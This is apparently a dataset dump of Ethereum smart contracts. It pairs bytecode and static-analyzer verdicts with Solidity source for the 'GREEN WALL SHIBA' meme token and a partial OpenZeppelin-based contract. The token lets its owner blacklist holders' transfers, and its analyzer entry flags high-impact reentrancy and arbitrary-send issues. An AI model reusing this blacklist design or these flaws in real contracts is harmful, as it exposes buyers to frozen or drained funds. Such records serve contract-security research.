ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0a5b43af0ef09ecb703ee244f015ac762879d4da4b736850137608ea10ecc2a48282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bc457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c6157600080fd5b611c8d306000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611d13565b50565b600082821115611d08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820737562206661696c65640000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b600360009054906101000a900460ff1615611d2d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d6757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dbe57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e1557600080fd5b611e6781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611efc81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa990919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015612027576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820616464206661696c65640000000000000000000000000081525060200191505060405180910390fd5b809150509291505056fe43616e6e6f74204d696e74206d6f7265207468616e206d6178696d756d20737570706c79a265627a7a72315820c0e866b2af01f484332e245a91b257a8e862d5f46746b8f4136082bcc6e7384764736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 4,186 |
0xc9daeb5d06a633aa475c02413194f7700f77d15f
|
/*
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩
🟩🟩. 🟩🟩
🟩🟩. Protect the GREEN WALL 🟩🟩
🟩🟩. 🟩🟩
🟩🟩 https://t.me/greenwallshiba 🟩🟩
🟩🟩. https://greenwallshiba.com/ 🟩🟩
🟩🟩. 🟩🟩
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GWSHIB is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"GREEN WALL SHIBA";
string public constant symbol = unicode"GWSHIB";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
require(!_isBot[from] && !_isBot[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (4 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external onlyOwner() {
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = true;
}
}
function delBots(address[] memory bots_) external onlyOwner(){
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf91461057b578063db92dbb614610590578063dcb0e0ad146105a5578063dd62ed3e146105c557600080fd5b8063a9059cbb14610506578063b2289c6214610526578063b515566a14610546578063c3c8cd801461056657600080fd5b80638da5cb5b116100d15780638da5cb5b1461048157806394b8d8f21461049f57806395d89b41146104bf5780639e78fb4f146104f157600080fd5b80636fc3eaec1461041757806370a082311461042c578063715018a61461044c57806373f54a111461046157600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461039357806345596e2e146103a957806349bd5a5e146103c9578063590f897e1461040157600080fd5b8063313ce567146102fd57806331c2d8471461032457806332d873d8146103445780633bbac5791461035a57600080fd5b806318160ddd116101b657806318160ddd1461028c5780631940d020146102b257806323b872dd146102c857806327f3a72a146102e857600080fd5b806306fdde03146101e8578063095ea7b31461023a5780630b78f9c01461026a57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506102246040518060400160405280601081526020016f475245454e2057414c4c20534849424160801b81525081565b60405161023191906116d1565b60405180910390f35b34801561024657600080fd5b5061025a61025536600461174b565b61060b565b6040519015158152602001610231565b34801561027657600080fd5b5061028a610285366004611777565b610621565b005b34801561029857600080fd5b50683635c9adc5dea000005b604051908152602001610231565b3480156102be57600080fd5b506102a4600c5481565b3480156102d457600080fd5b5061025a6102e3366004611799565b6106b6565b3480156102f457600080fd5b506102a461070a565b34801561030957600080fd5b50610312600981565b60405160ff9091168152602001610231565b34801561033057600080fd5b5061028a61033f3660046117f0565b61071a565b34801561035057600080fd5b506102a4600d5481565b34801561036657600080fd5b5061025a6103753660046118b5565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039f57600080fd5b506102a460095481565b3480156103b557600080fd5b5061028a6103c43660046118d2565b6107b0565b3480156103d557600080fd5b506008546103e9906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b34801561040d57600080fd5b506102a4600a5481565b34801561042357600080fd5b5061028a610856565b34801561043857600080fd5b506102a46104473660046118b5565b610863565b34801561045857600080fd5b5061028a61087e565b34801561046d57600080fd5b5061028a61047c3660046118b5565b6108f2565b34801561048d57600080fd5b506000546001600160a01b03166103e9565b3480156104ab57600080fd5b50600e5461025a9062010000900460ff1681565b3480156104cb57600080fd5b506102246040518060400160405280600681526020016523aba9a424a160d11b81525081565b3480156104fd57600080fd5b5061028a61096a565b34801561051257600080fd5b5061025a61052136600461174b565b610b6f565b34801561053257600080fd5b506007546103e9906001600160a01b031681565b34801561055257600080fd5b5061028a6105613660046117f0565b610b7c565b34801561057257600080fd5b5061028a610c0e565b34801561058757600080fd5b5061028a610c24565b34801561059c57600080fd5b506102a4610e18565b3480156105b157600080fd5b5061028a6105c03660046118f9565b610e30565b3480156105d157600080fd5b506102a46105e0366004611916565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610618338484610ead565b50600192915050565b6000546001600160a01b031633146106545760405162461bcd60e51b815260040161064b9061194f565b60405180910390fd5b600954821080156106665750600a5481105b61066f57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106c3848484610fd1565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106f290849061199a565b90506106ff853383610ead565b506001949350505050565b600061071530610863565b905090565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161064b9061194f565b60005b81518110156107ac57600060056000848481518110610768576107686119b1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a4816119c7565b915050610747565b5050565b6000546001600160a01b031633146107da5760405162461bcd60e51b815260040161064b9061194f565b6000811161081a5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161064b565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476108608161139e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161064b9061194f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260040161064b9061194f565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161084b565b6000546001600160a01b031633146109945760405162461bcd60e51b815260040161064b9061194f565b600e5460ff16156109e15760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161064b565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6a91906119e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adb91906119e2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4c91906119e2565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610618338484610fd1565b6000546001600160a01b03163314610ba65760405162461bcd60e51b815260040161064b9061194f565b60005b81518110156107ac57600160056000848481518110610bca57610bca6119b1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c06816119c7565b915050610ba9565b6000610c1930610863565b9050610860816113d8565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b815260040161064b9061194f565b600e5460ff1615610c9b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161064b565b600654610cbc9030906001600160a01b0316683635c9adc5dea00000610ead565b6006546001600160a01b031663f305d7194730610cd881610863565b600080610ced6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d55573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d7a91906119ff565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df79190611a2d565b50600e805460ff1916600117905542600d556801158e460913d00000600c55565b600854600090610715906001600160a01b0316610863565b6000546001600160a01b03163314610e5a5760405162461bcd60e51b815260040161064b9061194f565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161084b565b6001600160a01b038316610f0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064b565b6001600160a01b038216610f705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064b565b6001600160a01b0382166110975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064b565b600081116110f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064b565b600080546001600160a01b0385811691161480159061112657506000546001600160a01b03848116911614155b1561133f576001600160a01b03841660009081526005602052604090205460ff1615801561116d57506001600160a01b03831660009081526005602052604090205460ff16155b61117657600080fd5b6008546001600160a01b0385811691161480156111a157506006546001600160a01b03848116911614155b80156111c657506001600160a01b03831660009081526004602052604090205460ff16155b1561125857600e5460ff1661121d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161064b565b42600d5460f061122d9190611a4a565b111561125457600c5461123f84610863565b6112499084611a4a565b111561125457600080fd5b5060015b600e54610100900460ff161580156112725750600e5460ff165b801561128c57506008546001600160a01b03858116911614155b1561133f57600061129c30610863565b9050801561132857600e5462010000900460ff161561131f57600b54600854606491906112d1906001600160a01b0316610863565b6112db9190611a62565b6112e59190611a81565b81111561131f57600b5460085460649190611308906001600160a01b0316610863565b6113129190611a62565b61131c9190611a81565b90505b611328816113d8565b478015611338576113384761139e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061138157506001600160a01b03841660009081526004602052604090205460ff165b1561138a575060005b611397858585848661154c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ac573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061141c5761141c6119b1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611475573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149991906119e2565b816001815181106114ac576114ac6119b1565b6001600160a01b0392831660209182029290920101526006546114d29130911684610ead565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150b908590600090869030904290600401611aa3565b600060405180830381600087803b15801561152557600080fd5b505af1158015611539573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6000611558838361156e565b905061156686868684611592565b505050505050565b600080831561158b578215611586575060095461158b565b50600a545b9392505050565b60008061159f848461166f565b6001600160a01b03881660009081526002602052604090205491935091506115c890859061199a565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115f8908390611a4a565b6001600160a01b03861660009081526002602052604090205561161a816116a3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165f91815260200190565b60405180910390a3505050505050565b60008080606461167f8587611a62565b6116899190611a81565b90506000611697828761199a565b96919550909350505050565b306000908152600260205260409020546116be908290611a4a565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116fe578581018301518582016040015282016116e2565b81811115611710576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086057600080fd5b803561174681611726565b919050565b6000806040838503121561175e57600080fd5b823561176981611726565b946020939093013593505050565b6000806040838503121561178a57600080fd5b50508035926020909101359150565b6000806000606084860312156117ae57600080fd5b83356117b981611726565b925060208401356117c981611726565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180357600080fd5b823567ffffffffffffffff8082111561181b57600080fd5b818501915085601f83011261182f57600080fd5b813581811115611841576118416117da565b8060051b604051601f19603f83011681018181108582111715611866576118666117da565b60405291825284820192508381018501918883111561188457600080fd5b938501935b828510156118a95761189a8561173b565b84529385019392850192611889565b98975050505050505050565b6000602082840312156118c757600080fd5b813561158b81611726565b6000602082840312156118e457600080fd5b5035919050565b801515811461086057600080fd5b60006020828403121561190b57600080fd5b813561158b816118eb565b6000806040838503121561192957600080fd5b823561193481611726565b9150602083013561194481611726565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119ac576119ac611984565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119db576119db611984565b5060010190565b6000602082840312156119f457600080fd5b815161158b81611726565b600080600060608486031215611a1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3f57600080fd5b815161158b816118eb565b60008219821115611a5d57611a5d611984565b500190565b6000816000190483118215151615611a7c57611a7c611984565b500290565b600082611a9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af35784516001600160a01b031683529383019391830191600101611ace565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205d03064c12d3c06d20cf0b93e53392709036e7bfa3d638f96b266a14d96ecf6e64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,187 |
0x9c6Fa42209169bCeA032e401188a6fc3e9C9f59c
|
pragma solidity 0.4.18;
// File: zeppelin-solidity/contracts/ownership/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
// File: zeppelin-solidity/contracts/ownership/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/examples/RBACExample.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* A constant role name for indicating admins.
*/
string public constant ROLE_ADMIN = "admin";
/**
* @dev constructor. Sets msg.sender as admin by default
*/
function RBAC()
public
{
addRole(msg.sender, ROLE_ADMIN);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
RoleRemoved(addr, roleName);
}
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function adminAddRole(address addr, string roleName)
onlyAdmin
public
{
addRole(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function adminRemoveRole(address addr, string roleName)
onlyAdmin
public
{
removeRole(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to admins
* // reverts
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
